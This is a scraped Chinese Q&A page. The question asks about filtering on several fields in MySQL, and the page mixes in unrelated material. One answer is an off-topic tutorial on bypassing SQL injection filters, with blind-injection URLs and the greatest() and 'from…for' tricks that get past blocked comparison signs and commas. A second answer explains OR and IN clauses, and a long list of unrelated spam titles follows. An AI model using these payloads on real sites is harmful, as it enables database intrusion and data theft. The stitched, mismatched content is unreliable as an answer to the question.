问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

MySQL数据库如何实现多字段过滤

发布网友 发布时间:2022-04-28 15:00

我来回答

2个回答

懂视网 时间:2022-05-02 02:03

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

 

最好利用的注射点:

 

 支持Union

 可报错

支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

 

1. 通过greatest函数绕过不能使用大小于符号的情况

 

猜解单个字符时,通常使用折半查找。

 

 

mysql> select ascii(mid(user(),1,1)) < 150;

+------------------------------+

| ascii(mid(user(),1,1)) < 150 |

+------------------------------+

|                            1 |

+------------------------------+

1

2

3

4

5

6

mysql> select ascii(mid(user(),1,1)) < 150;

+------------------------------+

| ascii(mid(user(),1,1)) < 150 |

+------------------------------+

|                            1 |

+------------------------------+

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

 

比如,对于一个boolean based注入。尝试:

 

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

 

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

 

上述两个页面返回的内容应该是不同的。

 

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

 

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

 

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

 

 

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;

+------------------------------------------+

| greatest(ascii(mid(user(),1,1)),150)=150 |

+------------------------------------------+

|                                        1 |

+------------------------------------------+

1

2

3

4

5

6

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;

+------------------------------------------+

| greatest(ascii(mid(user(),1,1)),150)=150 |

+------------------------------------------+

|                                        1 |

+------------------------------------------+

如果小于150,则上述返回值为True。

 

2. 通过substr函数绕过不能使用逗号的情况

 

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

 

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

 

 

ascii(mid(user(),1,1))=150

1

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

 

 

mid(user() from 1 for 1)

substr(user() from 1 for 1)

1

2

3

mid(user() from 1 for 1)

substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

 

那么,不带逗号注入的语法,就可以变成:

 

 

mysql> select ascii(substr(user() from 1 for 1)) < 150;

+------------------------------------------+

| ascii(substr(user() from 1 for 1)) < 150 |

+------------------------------------------+

|                                        1 |

+------------------------------------------+

 

mysql> select ascii(substr(user() from 1 for 1)) < 150;

+------------------------------------------+

| ascii(substr(user() from 1 for 1)) < 150 |

+------------------------------------------+

|                                        1 |

+------------------------------------------+

是不是跟mid函数的效果是一样的,又没有用到逗号。

MySQL注射的过滤绕过技巧

标签:sel   处理   个数   base   页面   dex   nio   substr函数   系统   

热心网友 时间:2022-05-01 23:11

1、可以使用OR或AND来实现多字段过滤
比如 表A找那个有F1和F2两个字段
select * from A where F1 = ‘AB’OR F1 = ‘CD’
如果是正向查询就用OR如果是反向查询就用AND
2、可以使用IN语句也可以
比如 表A中有F1和F2两个字段
select * from A where F1 IN(‘AB’,‘CD’);
这个语句就是查询表A中F1字段数值是AB和CD的数据。
实现的方法有很多,上面只是两种比较简单些的,希望能帮助到你
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
发票专用章法律依据 植物大战僵尸2,昨天领签到植物显示的5月植物变成了胡萝卜导弹车,我领了... 植物大战僵尸2星星植物已经获得继续兑换 植物大战僵尸2每天签到领的奖励去哪里找 植物大战僵尸2明明签到已获得大力花菜 ,为什么图谱上没显示? 植物大战僵尸2购买植物提示已经拥有怎么解决? 植物大战僵尸2幸运宝藏开到已经拥有的植物怎么办 生活节奏变快、工作压力加大等,使年轻人很焦虑,你觉得他们该怎么... 中年人如何来减轻心理压力呢 一个男孩子为什么会发他的私密照片给我? mysql过滤重复数据的问题 怎么用无线路由同时连接台式电脑(有线连接)和WIFI同时上网啊 请问家里就一根网线一台台式电脑和一个WIFI无线路由器怎么设置好电脑能上网手机也能收到WIFI上网 台式电脑可以用无线路由器连接wifi上网吗?怎么才能用台式电脑用路由器连接wifi上网? 银行利润是由贷款利息与存款利息的差额构成的,所以银行利润率一定低于平均利,对吗? 梦见想看电影进不去 手机电池变红是怎么回事 电量颜色变了.是不是手机有问题 银行利润是什么 oppo右上角电池变色 梦见自己晚上看电影有一个人穿着是衣叫我去我没去什么意思? 一加手机电量条为什么会变色 手机在充电,过程中显示电量那个电池是绿的,怎么现在变成红的呢?是不是坏了? 梦见有人要请看电影还没去就醒了 在经济学中,银行的利润率是社会利润率的平均值。有这样的说法吗? 显示手机电量怎么会变颜色? 银行利润率是按 银行的利润总额是营业利润吗 银行存款+现金+应收-应付应该等于利润吗? 中国银行利润 想实现mysql中的单个参数过滤任务应该怎么写 我后半夜做了一个梦梦见自己的房子装修的我自己心里非常喜欢,以前我也总是梦见我自己的房子可是那总是... 什么是mysql 复制及其实现原理 mysql主从复制忽略授权表参数不可用??? 别人梦见我家装修房子,儿子订婚,什么意思? MySQL多表联合查询过滤重复数据怎么写 mysql 查询 条件过滤机制是怎样的 mysql中的字段怎么复制 mysql相关参数的作用 省略号有什么作用 省略号又哪些意义?? 省略号的作用(要详细的) 坡折号和省略号有哪些做用? 为什么ps选择不了内容识别填充啊,刚刚都可以的?- 问一问 ps中内容识别填充的使用方法 万能UV平板打印机长沙株洲湘潭衡阳哪里有厂家? 请问湖南登腾广告设备的UV平板打印机有哪几个牌子?价格分别是多少? excel表格一些行的高度很大,想把高度手动给拖小,但是无法滚动到这一行的边,怎么办 excel表格拉不到顶怎么回事,到26行就不能往上了,上面的25行都看不到了,要怎么弄啊 EXCEL表格页数的问题,调节行高也解决不了